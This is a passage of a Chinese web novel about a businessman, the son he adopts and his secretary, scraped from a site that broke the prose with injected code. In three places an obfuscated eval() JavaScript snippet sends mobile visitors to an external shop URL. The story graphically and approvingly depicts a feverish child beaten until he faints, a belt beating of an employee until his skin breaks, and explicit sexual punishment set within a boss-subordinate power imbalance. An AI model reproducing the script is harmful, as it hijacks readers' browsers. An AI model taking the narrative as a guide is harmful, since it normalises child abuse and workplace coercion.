邱蕊一怔，没想到尤朗居然来了个绝地反击，还没反应过来，又听尤朗道：“对，我和他没有血缘关系，他没有成年，说的话不一定有用，但如果他坚持要跟爸爸，辅以妈妈从没关心照顾过他的证据，我也不至于一败涂地！还有，他不叫邱嘉楠，他叫尤嘉楠。” 别说邱蕊，就连邱嘉楠都怔住了，爸爸居然当场给他改姓！ 邱蕊是带着目的来的，就算真的被唬住也不能表现出来，直接要拉小孩：“嘉楠，过来。” 可是，邱嘉楠往后一躲，避开了女人的手，直接钻进了尤朗的怀里。邱蕊的手就那样尴尬地停在半空。 “开条件吧，你根本不是真心要儿子的，你现在在做的事我一清二楚，新区那块地明年就招标了是不是？这个时候来找我，难道我会蠢到什么都不知道？你要钱，可以，要我放弃那块地，也可以，但是楠楠，你绝对带不走。” 邱蕊到底是没见过大场面的人，给人家当二奶，去过一些酒会，就觉得能和尤朗拉锯，实在是太嫩了。不过她既然被看穿了，也不妨顺势提出来：“钱是要的，数字不会让你承受不起。那块地，也是要的，不仅要那块地，还要你承诺不要任何新区的地。” 不要任何新区的地，基本相当于退出整个N市的房地产市场。 N市虽然不是一二线大城市，但也慢悠悠地发展了这么多年，原有的城区都已经开发完了，不然政府也不会搞新区。再过几年，除了新区，基本就不会有地拿了。 尤朗是吃这碗饭起家的，不拿地，他怎么养活底下这么多人？ 邱嘉楠不能理解爸爸的沉默，只是一直缩在爸爸怀里，不愿意看那个女人。 尤朗抱着小孩，道：“想要多少，开价吧，至于新区，我不去。” 邱蕊有一瞬间的错愕，尤朗竟然就这样答应了？看来这个小孩真的很值钱。她玩味地打量着自己的亲儿子，然后开了八百万的高价，把儿子卖了。 尤朗毫不犹豫，直接开了支票，但没有立刻给她：“我会让律师找你签离婚协议，协议书一签，这就是你的，从此以后，你和楠楠没有任何关系。” 邱嘉楠觉得好不真实，仿佛妈妈根本没有来过，只是客厅里依旧留下了她的香水味。他怔怔地看着爸爸，呆呆问：“你刚刚说，我叫尤嘉楠。” 尤朗生怕小孩多想，立刻解释道：“刚刚那是不得已，爸爸不是要逼你改姓的，还是叫邱嘉楠也没有关系……” 不等爸爸说完，邱嘉楠就连连摇头：“我想叫尤嘉楠。” 我想和爸爸一个姓。 “好，我们楠楠是尤嘉楠了。” 尤朗和邱蕊不到一周就办完了离婚，与此同时公司里怨声载道，尤其是项目部，说好的要拿新区那块地，连设计图都快出好了，现在说不做了，那前面几个月打水漂呗！ 尤朗开会时直接说了自己的想法：“不止是这个项目，以后整个公司都要准备转型，以南方嘉木为主，慢慢退出房地产市场。” “为啥呀？这么大一碗肉，说不要就不要了。” “你看着大，别人看着也大，越来越多人进军房地产，再过几年，基本是全国性的大企业和国企把控这个产业，我们这种地方性企业只能被挤压。况且，未来房地产不一定好做，国家要拉升房价，但最后，大家买不起房了怎么办？”尤朗不是跟邱蕊见面以后才有这个想法，做南方嘉木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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尤嘉楠抱着爸爸，也不管爸爸是不是在处理工作：“我考第一了，我真的考第一了，我是世界上最聪明的尤董。” 尤朗放下手里的工作，搂着小孩的腰，道：“对，你是世界上最聪明的尤董。” 尤嘉楠两手贴着爸爸的脸，突然凑上去亲了他一下，嘴唇冰冰凉凉的：“我永远最爱爸爸。” 49. 番外一 “尤董，邱少爷一直在厕所里不肯出来，我没有办法了。”章信跟邱嘉楠纠缠了老半天，最后只得将电话打到了尤朗那里。 尤朗知道，章信一大早就被学校叫去了，说是那个小孩发了烧，因为小孩身体格外弱，学校不敢耽搁，立刻给章信打了电话。章信赶到学校，小孩已经烧得晕晕乎乎的了，送到医院单人病房里，一眨眼小孩不见了，过了会才发现厕所门一直关着，怎么叫也不开。 尤朗听完，颇为生气，本来公司就忙得要死，让章信去照顾他已经够不合适了，现在还要搞事情，尤朗想，这要是他自己的小孩，肯定得把他屁股打开花。 邱嘉楠不知道怎么想的，他很久没见到尤朗了，几乎所有的事情都是章信负责处理，他想，唯一能见到尤朗的方法，就是让章信没办法。 所以他把自己关在厕所里，这是单人病房里配套的，不会影响到别人，任由章信和护士在外头哄得口干舌燥，就是不开门。 他今天一定要见到尤朗。 脑袋晕晕乎乎，浑身都热得难受，几乎喘不过气来，但是除非尤朗来，否则他决不开门。 章信的电话也算是遂了他的愿，大半个小时后，就在邱嘉楠差点晕倒在厕所里的时候，尤朗的声音响起：“马上给我出来，我不说第二遍！” 是尤朗吗？尤朗真的来了？邱嘉楠兴奋异常又小心翼翼，打开了个门缝望出来，不出所料见到了尤朗那张冰块脸。 “马上！” 邱嘉楠一抖，刚才那点开心瞬间消失殆尽，随之而来的是无尽的惶恐。 尤朗一肚子气，让章信和护士先出去，他要和小孩谈谈。 谈谈。 病房里只剩下尤朗和邱嘉楠，小孩在尤朗的威压之下从厕所里走了出来，怯怯地靠墙站着，不敢出声，不敢动。 尤朗环视了一圈病房，发现并没有什么可以打人的东西，最后拉了椅子坐下：“过来。” 邱嘉楠一抖，慢慢地走了过去，还隔着两步远，尤朗就失了耐心，大手扯着小孩细细的胳膊，把他上身按在自己腿上，随后三两下扯掉了小孩的裤子。 邱嘉楠被尤朗这么一按，小短腿几乎离地了，手脚都没有支撑，生怕摔下来，可还没怕完呢，身后就马上凉飕飕的，他下意识要伸手去遮挡，结果被尤朗一扭，顺势按在背上了。 “啪！”宽大的巴掌用力拍下来，小孩一半屁股很快现出一个淡红的巴掌印，尤朗斥道：“我让你躲！” “呜呜呜······”尤朗太凶了，一巴掌就打得小孩疼出了眼泪，身后火辣辣的，跟被烧滚的油烫了一般。 “啪！”尤朗仿佛没听见小孩的哭泣，紧接着一巴掌打在另一半屁股上，雨露均沾。 “啊！” “知道疼？！我还以为你不知道！不听话！躲着！不打针不吃药！你尽管躲！”尤朗一边骂一边在孩子的两边屁股上轮流落下巴掌，清脆的责打声伴随着尤朗的呵斥，臀上的颜色渐渐加深，从淡红的巴掌印变成整片的绯红。 “呜啊！”太疼了，邱嘉楠一边哭一边蹬腿，眼泪跟断线的珠子似的“哗啦啦”往下掉，把漂亮的小脸蛋弄得又脏又黏，任谁看了都得心疼。 可是尤朗不心疼，他只烦这个小孩屁事多，不让自己消停，恨不能打他一顿重的，让他再也不敢犯事。别说巴掌了，要是这里有棍子什么的，铁定得用棍子打。 “哭？有脸哭？！”尤朗“啪啪”甩了两巴掌，打得小孩脊背一颤一颤的，“挨打了知道疼了？知道后悔了？晚了！今天不教训你让你知道怕，我就跟你姓！”说罢，已然通红的掌心再次往深红色的屁股下落，施加着成倍的疼痛。 用巴掌打人实在是伤人一千自损八百，打了这么一会，尤朗手心也发麻，便稍停了一会儿，问：“以后还敢不敢？” “不，不敢了呜······”邱嘉楠脑袋倒着，比刚刚还要难受许多，眼前始终天旋地转的，可是他没办法，只能强忍着浑身上下的不舒服，被迫接受着尤朗的怒气和责罚。 是他要见尤朗的，挨打也活该。 可是，能见尤朗一面，再难受他也愿意忍耐。 臀上的皮肤似乎变薄了些，尤朗估摸着再打可能要破皮出血了，可是这个小孩就是这么欠教训，绝不能轻轻放过，于是折中了一下，道：“再打二十，自己报数。” 没听到回答，尤朗很是不满，喝道：“听到没有？！” “呜······”小孩直接被吓出了哭声，“听到了。” 作为他没有反应的惩罚，第一下巴掌格外重，“啪”一声，清脆地炸响在房子里，紧接着邱嘉楠惨叫一声，哭了半分钟才哆哆嗦嗦地报数：“一。” 大概是知道小孩生病又挨打，不好受，尤朗后面的巴掌明显减轻了力度，七八分力，落在 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邱嘉楠一边流泪一边勉力站好，这会倒疑惑起来，为什么自己一定得见尤朗呢？分明见了，他也不会喜欢自己，也不会变成爸爸。 “章信！”尤朗冲外头喊了一声，章信便推门进来了。 “现在打不了针，你先去拿药过来给他吃。” 章信看了一眼墙角站着的身影，脸一红，忙低头道：“好，我这就去。” 呜呜呜······等会还要打针，邱嘉楠心酸委屈又害怕，眼睛都哭疼了还是止不住眼泪，眼前一花，整个又撞到了墙角。 “叫你站好你不会站是不是？再站不好你那双腿别要了！”尤朗大声训斥。 可是邱嘉楠真的站不住了，站不住了······ 小孩一边想着要站好，一边却慢慢地失去了意识，完全控制不住身体，歪倒在地。 尤朗眉心一皱，上前几步，晃了一下人，发现没反应。啧，居然晕倒了，尤朗无奈地将小孩抱到床上，正好看见章信进来，便将人交给了助理：“你看着吧，我先回公司了。” 章信应了声是，尤朗便毫不犹豫离开了病房。 病床上，那个小小的孩子陷入了深深的昏睡之中。 50. 番外二 章信已经光着屁股在办公室窗前站了半个小时了。平日里，他陪着尤朗去开会，站两三个小时也不累，可是现在，腿似乎有些麻了。 身后传来纸张翻动的声音，应该是尤朗在看文件。章信悄悄地回过头，结果还没看见人呢，就听见一道冷冰冰的声音：“站不住了？” 章信突然一阵被抓包的心虚，赶紧转过头去，一副专心反省的模样。 眼前是严严实实的窗帘，背后是关得死死的门。章信明白，其实他在这里反省，根本不会有其他人看见，可是羞耻感依旧如傍晚涨起的潮水一般，毫不留情地淹没了他。 办公桌的方向有些窸窣，过了一会儿，章信听尤朗问：“半个小时，反省出什么来了？” 只是询问，没有允许自己改变姿势。章信双手背在身后，头压得低低的，正准备开口，双颊便感到火烧的热辣。 “我对重要的文件没有足够的重视，随意放置，埋下丢失的隐患；我粗心，把文件落在飞机上，给公司造成不必要的麻烦；我，我没有良好的收纳文件的习惯······尤董，我知道错了。” “铿”一声，是尤朗盖上钢笔笔帽的声音，章信对这声音很熟悉，每当尤朗不高兴或者不耐烦时，就会这样很用力地磕上笔帽。 背在身后的双手微微地颤抖，面对即将到来的惩罚，章信真的很紧张。 “章信，你跟着我多久了？” 无关的问题往往是责罚更重的预兆，章信对尤朗的套路非常熟悉，却不敢不答：“尤董，六，六年了。” 章信还记得，那时候他大学毕业，周围人对他进一个民营企业工作的做法议论纷纷，家里人说不如找个稳定的单位，大学生多值钱，应该去端铁饭碗，同学说民营企业好，有发展前景，保不齐将来会富贵呢。 可是这些都不重要，没有人知道，章信只是深深地沦陷在对尤朗的崇拜中。 章信一直以来都非常相信自己的眼光，尤朗不仅是出色的商人，也是绝佳的引导者。这六年来，尤朗言传身教，教会他许多事情，尽管手段并不那么，怎么说呢，有那么一点，唉，说不出口。 “六年了，”办公室里安静异常，章信的耳朵捕捉到尤朗站起身时西装的摩擦声，紧接着巨大的威压从他身后碾来，“你居然还会犯这种错误？” 尤朗声音很轻，但章信膝盖却一软，差点跪了下去：“抱歉，尤董。”呼吸急促，怕的。 地上光影变化，章信知道，是尤朗走过来了，他的屁股要准备受罪了。 “你觉得，你应该抱歉的是我？” 送命题，不能不回答，也不能回答错。章信硬着头皮开口，声音颤颤巍巍的：“抱歉给尤董造成了时间上的损失，也抱歉让公司上下的员工提心吊胆了一段时间，更抱歉，自己这么久没有长进。” “这次亏得文件找回来了，如果文件没找回来，你打算怎么办？” 章信咬着嘴里的嫩肉。这个问题在出事的前两天他想过无数次，但从没有宣之于口。现在，要说吗？说了以后，会怎么样？ 好一会没得到回答，尤朗并不非常满意，不耐烦地喝道：“转过来！” 章信犹犹豫豫，微微躬身抓着褪到膝弯的裤头，慢慢转过了身，下半身全然暴露在上司的视野中，叫章信恨不能找个地缝钻进去。 “六年了，还要我教你回话的规矩？”尤朗语气明显不悦，章信不敢再拖延，垂头道：“不、不用。如果这次造成重大损失，我，我会引咎辞职。” “啪！” 猝不及防的耳光狠狠煽上左脸，章信头一歪，火烧般的胀痛迅速漫上脸颊。 “引咎辞职，就可以挽回损失？” 章信想张嘴回话，可是脸颊又痛又麻，实在令他张不开嘴。这么一停顿，尤朗便命令道：“五十巴掌，好好想想该怎么做。” 只是想想该怎么做，还没有正式惩罚他的错误，章信心里一计较，今天怕是不好走出去了。 章信微微弯腰抓住裤子，一小步一小步往沙发走去，靠着沙发扶手趴了下去，身体前倾在沙发上，光溜溜的屁股则顶在扶手上，成了身体的最高点。 尤朗边朝年轻人走进边转动手腕放松。待走到他身旁，一手按着他下倾的腰，一手高高扬起，“啪”一声落在右边的臀瓣上。章信“啊”一声叫了出来。 “噤声，反省，五十下过后给不出让我满意的回答，你知道后果。” 章信冷汗直下，如果五十下之后他回答不出来，恐怕屁股不保：“是，尤董。” “啪！”又一巴掌落在年轻人左边臀瓣，还算均匀地给屁股上着色。趴着的年轻人则咬牙忍耐，不敢泄出半声闷哼。整个办公室回响着极有规律的巴掌着肉声。 打了二三十下，年轻人整个屁股都染上了一层鲜艳的红，与大腿的白皙形成了鲜明的对比。章信额上布满薄汗，一边忍耐疼痛还要一边思考如何回答刚刚的问题。 巴掌正要继续落下，门外却响起了“咚咚咚”的敲门声，尤朗一缓，微微蹙起眉心，扬声问：“谁？” “爸爸，是我，我来了！”邱嘉楠清脆的声音回答道。 是了，尤朗想起来，他之前说过让楠楠今天过来写作业，晚上带他去吃饭的。 眼看着尤朗要去开门，章信急急忙忙出声：“尤董······” 年轻人本就因埋头在下，充血而脸红，现在想到楠楠即将知道他在这里像个幼童一般光着屁股挨打，更是羞愧不已，恨不得一头撞死。 尤朗知道他的心思，本就没想让楠楠看见，不过还是可以羞他一羞，于是恍若未闻，径直走过去开门。 章信死死埋下了头。 “咔哒”一声，紧接着是尤朗的声音：“你去章信的秘书室写作业，爸爸还有一些工作要处理，等你写完作业我们再一起去吃饭。” “那章信哥哥呢？”邱嘉楠仰着头问。 尤朗轻笑，神神秘秘道：“章信在他该在的地方。” 邱嘉楠话不多，问完这个就走了。章信听着声响，长长地舒了一口气。 尤朗关上门走回来，看年轻人这鸵鸟样就忍不住发笑，安抚似的拍拍他的脊背：“放心，没让楠楠看到你。” 章信现在是躺在砧板上任人宰割的鱼肉，放不放心都不能改变他颇为悲惨的处境，因此没有说话。 尤朗也不同他废话，直接抬起手，毫无预兆地朝左边臀瓣扇去，“啪”一声，格外清脆响亮。年轻人虽然强忍着没有叫出声，但双腿却猛地绷直了，疼痛感可想而知。 原本那二三十下巴掌带来的红肿沉淀了一会儿，已经不怎么疼了，只是麻麻的一片，可是这一下打来，像是此前所有的巴掌都一同扇下一般，指数式上升的痛感结结实实地砸下，逼得章信咬死下唇却还是忍不住捶了两下柔软的沙发。 尤朗对他的反应似是非常满意，继续左右开弓，毫不留情地施予年轻人责罚和疼痛。 尤朗年纪已过不惑，但是向来注重保养，无论是身体还是身材，都是挑不出问题的。此时打起人来，更是发挥了他力量足、施力均匀的优势。章信挨完足足五十下巴掌，都没觉得哪一下有稍微轻一点，而他可怜的臀部，已然深红一片，肿得发烫。 “站起来。”尤朗面无表情，负手站在沙发旁。 章信眸底含着泪，额上冒着汗，颤颤巍巍地从沙发上站起，两条腿还发着抖，并不敢看尤朗。 “现在，想好了么？” 其实这些事是不需要多花时间想的，尤朗很早以前就教过他如何挽回损失。方才那五十下巴掌，大概只是教训他随便说出“辞职”这样的话来。领会了尤朗的意思，又挨了罚，章信便不那么怕，半是惭愧半是期待地抬起头，低声道：“我应该先安抚相关项目组成员，接着向合作方道歉并说明情况，再前去重新签订合同，尽力挽回我们给合作方留下的印象。” “那你刚刚胡说八道什么？” 果然是在生气那句“引咎辞职”，章信脸红了下，道：“对不起，尤董，我不该随便说这种不负责任的话，以后不会了。” 尤朗这才稍微平静一点，却没有就此放过他，而是伸手到腰间，轻轻解开了皮带扣。 章信看到那动作，左脚无意识地往后退了半步。 “现在正式来算你的账。错哪儿，刚才已经说了，你觉得自己该挨多少？” 章信一抬头，对上尤朗的视线又立刻避开了，可一低头，又看见尤朗手中黑色的皮带，屁股顿时烧了起来。 “不会算数了？还是，知道羞了？” “我，我一直都知道。”章信垂头道，像是顶嘴。 “我还以为你不知道，否则怎么会犯这么低级的错误？” 真的是，就不该拖延，又被鞭尸了一次。章 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581290|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信颇有些不服气，却不敢明说，只是绕开这个问题，直接道：“尤董，六十，我知道错了。” 尤朗知道他这么大个人，有皮有脸的，不能老是羞，便也不再折腾他，指指沙发扶手：“趴着吧。” 六十下皮带，等会别是皮开肉绽吧？章信异常不安，却什么都做不了，只能无力地伏上沙发，摆出受罚的姿势。 皮带在尤朗手掌上绕了两三圈，余下一段合适的长度。看着年轻人深红色的臀部，尤朗没有任何心疼和不舍，扬起皮带，“啪”一声挥了下去。 “啊呃······”那一声“啪”比巴掌声响亮了不知多少倍，带来的疼痛也不是巴掌能比拟的，章信忍不住，第一下就喊了出来。 不知道楠楠会不会听见，办公室有隔音，秘书室又有距离，应该听不到吧？要是听到了，他以后都没脸见楠楠了。 尤朗也知道皮带不好挨，没有要求他噤声，只是绝不会放水，第二下仍是卯足了劲，“啪”地携风落下，打得臀肉一颤，随后显出一道更深的接近于紫的红色来。 “呜······”章信二十八岁了，要不是真熬不住，不至于连哭腔都泄出来，问题是，他要挨六十下啊！ “啪！” “啊呜——” “啪！” “呃······” 就这么一下责打一下痛呼，也渐渐过了半数。章信臀上已是一片紫红，左边臀瓣靠近臀缝的地方破了一小块，露出柔嫩的肉来，牵着几道细细的血丝，格外刺痛。 章信疼得快要晕过去，汗水“啪嗒啪嗒”地砸在皮质沙发上，显得狼狈不堪。 “尤董，能不能，缓缓？我，我受不住了······”真的疼，抠在沙发边的手青筋暴起，像是抓着救命的稻草。 尤朗轻笑一声，顺势暂停调整了一下缠在手上的皮带：“可以啊，我去叫楠楠过来怎么样？” “不······”那还不如直接杀了他！ “那留到明天，让你在过道上挨如何？让全公司的人都看看你是怎么被收拾的。” 章信几乎要哭出来了，一边倒抽凉气一边道，“对不起，尤董，我，我不该，不该求饶，请您继续。” “这么大个人，什么该说什么不该说，心里要有数，忍着！”尤朗说罢，继续挥起皮带抽了下去。 臀肉已然非常脆肉，剩下的三十下几乎每一下都会抽破皮，章信也从一开始的强忍到再也忍不住，终于“呜呜呜”地哭出了声。 六十下结束，尤朗都觉得手臂酸软，边系皮带边让他起来：“自己整理好，见到楠楠知道该怎么说。” 屁股肿得有两倍大，章信边哭边抖，好不容易站起来，却差点穿不上裤子。实则也是穿裤子对他来说太折磨了，这个屁股别说布料摩擦了，就算是晾在空气里都疼得不行。 但是他有什么办法呢？难不成让他睡在这里吗？章信咬着牙，两眼一闭心一横，自我折磨一般迅速穿好了裤子，那酸爽滋味，只可意会不可言传。 尤朗十分嫌弃地递了纸巾盒过去，让他擦干净脸，省得等会见到人丢人现眼。 章信整理自己时瞄了一眼时间，快六点了。公司是五点半下班的，少数人会加班，现在外头人应该不多了，不至于全公司的人都看到他一瘸一拐的模样。 可是，他忘了，还有楠楠啊！楠楠居然在他的秘书室里！章信抖着腿站在秘书室门口时，迎着楠楠好奇又无辜的眼神，竟一时说不出话来。 “章信哥哥，你怎么了？”邱嘉楠只觉章信今天非常奇怪，好像随时要倒下去的样子，眼眶还红红的，是不是有人欺负他了呀？ “没，没事，我就是有点累了。”章信扯出一个比哭还难看的笑来。 邱嘉楠还要说呢，却看见爸爸出来了：“爸爸！” 尤朗关上办公室门，打量了下章信，又转向邱嘉楠：“收拾东西，走了。” “那章信哥哥呢？” “他还有工作要做，是吧？”最后两个字尾音一升，不知道有多少重意思在里头。 章信继续假笑：“是啊，楠楠，快跟爸爸走吧。” 邱嘉楠还是很疑惑，只是不好意思再问，收拾了书包，便跟章信再见，走了。 章信长长地呼出一口气，没有多想，一屁股坐下，结果被疼得差点跳起来。 妈的，尤董下手真的狠。 51. 番外三 宽大平坦的办公桌上，章信汗津津的脊背曲线显得尤为婀娜。尤朗一边沿着他诱人的曲线抚摸，一边听他轻声喘道：“尤董······我，我不行······” 尤朗一掌拍在他如成熟桃子一般粉红的臀部上，笑道：“这么快？” 已经，很久了啊，章信想，而且白日宣淫，实在，实在有伤风化。 可是他跟尤朗这么久，最是知道自己这个老板，谈生意谈工作永远一本正经，别人当着他的面连玩笑都不好意思开，可是脱了裤子，那就是另一个人了。 他今天上午就被叫到办公室里。厚实的木门一关，窗帘一拉，尤朗对他又拍又哄。他本就羞愧难当，从耳廓红到脖子根，可尤朗还是没放过他，办公桌上的文件一扫，直接将他抱上了桌子。 尤朗还逗弄着他，章信眼角飙泪，不知是爽的还是羞的：“尤董，尤，尤······” 连话都说不成一句。 尤朗就着年轻人的背抹了包裹在手指上的一层水，嘴唇贴着他耳朵，吹气似的说：“你怎么让楠楠叫你章信哥哥？” 这个时候提楠楠，可真他妈有脸，你想让他知道自己爸爸qj秘书吗？但是章信想归想，嘴上却不敢说，否则等会受罪的还是自己。 “那，那叫什么？” 尤朗轻笑一声，抬起手掌，“啪”一声落在年轻人挺翘的屁股上：“自己想，说对了我就停。” 又是新的磨人手段！章信欲哭无泪，下意识地扭动着腰，看着是想要躲开上司狠厉的责打，可到最后那富有弹性的果冻一般的两团肉却总会落到尤朗的掌下。 理智想逃，可灵魂深处涌动的欲///望却诉说满足。 “啪啪啪啪啪”，一连打了十来下，章信嘴里哼哼唧唧地叫着，却一直不说话。身后的两团肉已经渐渐加深了颜色，但依然弹性十足，无辜地吸引着年长的男人。 “啪！” “啊！”这一下突然使足了力气，章信猛地喊出了声，双手抠着办公桌边缘，掌心有些**。 尤朗听了这声，似笑非笑道：“不说话，那是很想让屁股挨打了？” “不······”心里是想的，但章信真的说不出口，只好搪塞道，“我在思考，呃啊······” 尤朗不戳穿他，只是一左一右有节奏地拍打着两团肉丘，看他纤细曼妙的腰肢轻轻扭动，看他无助的身体伏在这办公桌上负罪地享受着。 “呃！尤董，别······我说，我说！” 尤朗笑着停下手：“说。” 左边眼角渗出了一滴泪，章信颇有些难耐，咽了唾沫道：“应该叫，叫助理。” “啪！”尤朗用重重的一巴掌回应了他，“不对。” “啊！那叫，叫秘书！” “啪啪啪啪啪啪！”尤朗似乎非常不满意，一连十几下杂乱无章的巴掌重重落下，打得章信惨叫连连，哭喊道：“不是！我错了！应该叫，叫保姆，啊！” “助理！秘书！保姆！”尤朗边说边打，自己掌心也有些发麻，“你说的都是些什么？这么笨！” “我不知道呜······” “求我教你。” 章信一颤，带泪的目光望向老板，不知他是何意。 尤朗一脸逗弄的笑，拍拍他的脊背：“起来，自己撑着，屁股撅起来。” 对于尤朗的要求，章信向来没有拒绝的余地，只得缓缓滑下办公桌。可是双腿颤抖不已，根本站不住，只得上身趴伏在桌上，勉强靠着。 “腰往下塌，屁股撅起来，”尤朗按着秘书的腰，让他摆出自己满意的姿势，“我又不是没见过，你羞什么？” 塌腰翘臀的姿势有些累，章信此时体力不支，这个动作做得非常勉强，好在尤朗没有过分苛责。尤朗抚摸着秘书红彤彤的屁股，含笑道：“现在求我教你，求得我高兴了，我就告诉你。” 章信面上一枝梨花春带雨，心里最后的一丝倔强却在呐喊：他妈的老子也不想知道啊！ 办公室里安静了片刻，尤朗等不及，“啪”地提醒了他一下。 章信差点哭出来，又疼又爽，又想继续又想结束，这他妈是什么人间酷刑？！他要是哪天被老板弄得不行了，是不是得算殉职？！ “尤董，求，求您教我。” “啪！”一巴掌打得小秘书身子往前一挺，差点站不住。尤朗微微有些不悦：“教你什么？” “呜······求尤董教我，应该让楠楠叫我什么。” “哦，”似是恍然大悟的语气，“那你的学费是什么呢？” 真的，这么贱的人为什么能当老板啊？章信真想现在就拉上裤子出去辞职，可是他没这个胆啊！“求尤董狠狠地，狠狠地······” “狠狠什么？”尤朗使坏，故意贴着年轻人的耳朵，叫他招架不住。 章信果然左膝一软，差点跪下去，还好尤朗一把将他扶住了，依旧让他维持着原来的姿势。 章信觉得没脸见人，干脆将头埋进臂弯，闷声道：“求尤董狠狠打我的屁······” “嗯？听不清了，来，大点声。” 章信有些崩溃地抬起头，眉目含情地看着尤朗，可怜兮兮地求饶。 “章信，你这样看着我，我也不明白呀！” 章信心一横，想，这张脸不要就不要了，反正全身上下都给人看过摸过了，有什么好羞耻的？于是咬咬牙，僵硬道：“求尤董狠狠地打我的屁股，教我应该让楠楠叫我什么。” 尤朗十分满意，顿时露出一个笑来，不轻不重地在他臀上一拍：“好，这就满足你。” 到底是满足谁啊？！ 身后的热辣重新降临，“啪啪啪”的清脆声响伴随着火烧一般的痛感，一层一层地覆盖上来，不仅屁股痛，就连太阳穴都跟着“突突”地跳。只可惜章信全身脱力，实在没办法逃离，只得无可奈何地接受着这酷刑一般的责打，嘴里有气无力地痛呼着。 打了有三四十下，整个屁股有点像熟得过分的桃子，呈现出一种即将腐烂的深红色。尤朗心情很好，心想以后要把秘书室的椅子换成硬木椅。 “既然宝宝交了学费，那我就告诉宝宝吧。”尤朗从身后环抱着人，也不嫌黏腻，“妈妈，楠楠要叫你章信妈妈，懂了吗？” 章信原本痛得有点不清醒了，一听这个，立马又被羞耻感活生生冲击醒了。他使尽最后一点力气将右手握成拳，软绵绵地在坚硬的桌面上敲了一下，以示抗议。可是他恍惚间只听见尤朗轻笑了一声，随后感到人被抱了起来，紧接着身体贴住了那平滑的办公桌面。他睁眼一瞧，原来是整个人又趴上了办公桌，而身后却窸窸窣窣的，不知在做什么。 章信扭头一看，瞧见尤朗从角落的箱子里翻找出一根黑色的细杆子。他瞳孔皱缩，忽然想起那是嘉木酒店订做的宣传材料，昨天傍晚才送到，本来今天他要拿出来弄好给尤朗看的，结果······ 不好的预感迅速升起，很快尤朗便拿着那根杆子走过来了。这杆子虽是塑料做的，但非常结实，尤朗试着大力弯折了一下，一点也不会变形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581291|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他走到年轻人身边，道：“章信妈妈，还没有结束哦。” 这是什么羞耻游戏？章信恨不能直接在这里一头撞死：“尤董，不，不要······” “不要？”尤朗熟稔地打开年轻人的身体，“可是，这里不是这样说的哦。” 章信羞愤欲死，偏偏不能控制身体的反应，让他既想要又承受不住。 承受不住极致的欢愉。 看章信确实坚持不住了，尤朗大发慈悲放过了他，随手抽了几张纸巾擦手，风轻云淡道：“来吧，自己掰开。” 什么？章信如五雷轰顶，掰开，那岂不是······ “不，不行，会疼死······”章信泪眼汪汪的，“会打坏的······” “不会的，”尤朗一副哄小孩的语气，“我们之前不是试过了吗？我怎么舍得打坏？” 章信又羞又惧，已然无法正视这张办公桌和这间办公室，只是固执地摇头，不肯答应。 “宝宝，我的耐心是有限的，要是自己来，就只打十下，要是等我动手，那就，”尤朗唇角一扬，笑得相当和煦，可说出的话却让人心惊，“平方了哦。” “呜呜······”章信一个二十八岁的男人直接哭出了声，怎么会这样啊？他只是一个打工的！ “还要我催？” 章信歪着头，闭上双眼，双手颤抖着伸过去，艰难地露出中间那一小片白皙的未曾受过责打的皮肤。 有些潮湿，但此刻也因为恐惧而紧闭着，抗拒着一切。 尤朗露出一个笑，扬起手中的黑色细杆，用了五分力挥了下去，轻轻的一声“啪”，却直接让章信哭叫了起来：“啊！”随后两手也立刻松开了，像是要把挨打的地方保护起来一般。 “呜呜呜痛······要打坏了，不要，不要打······” “宝宝，不乖哦。”温和的几个字被尤朗说得威胁性十足，逼着章信一边抽噎一边继续。 尤朗也怕自己下手没轻重打坏了，可一看，连点颜色都没留下，看来并不严重。他又起了逗弄的心思，问：“楠楠该叫章信什么？” 章信一边抽泣一边回答：“该叫妈妈。”已经疼得顾不上什么叫羞耻了。 “啪！”又是五分力的一下。 “呜······”兴许是有了心理铺垫，章信这回虽然也痛，却只是稍微松了手，并没有全然放开。尤朗对此很满意，而他表示满意的方式就是添了一分力，更响亮地抽了下去。 “啊！！呜······尤董，尤董······” “叫尤董做什么？” “呜呜呜······我疼······” “我知道你疼，但是，你喜不喜欢？嗯？说话，喜不喜欢？” 要说没打这几下的话，章信还能勉强说出喜欢这两个字，现在疼得命都要没了，还喜欢个毛线？！但是他也不能直接说不喜欢，只一味喊疼，声音虚弱极了。 尤朗看他自己有点掰不开，也不大为难他，一手掰着他一边屁股，一手继续挥动细杆。章信趴在宽大的办公桌上，像菜市场里被放在砧板上待杀的鱼，一边哭一边抖着脊背，连挣扎都几乎没有了。 一共十下，完完整整地打完了。章信已经疼得快晕过去了，桌面上一滩水都是他哭出来的。尤朗看着这景象，爱怜不已，弯腰下去，在他挂满泪水的脸上亲了亲：“章信妈妈，知道我是谁吗？” 章信手指蜷了蜷，闭着眼睛，口齿不清地回答：“你是，是尤朗爸爸。” 52. 番外四 小尤董在嘉木酒店订了六桌酒菜，大尤董知道后颇为震惊，问他要干什么。尤嘉楠坐在尤朗对面，道：“我们要分班了嘛，请我们老师同学吃个饭。” 很符合小尤董既帅气又慷慨的人设。 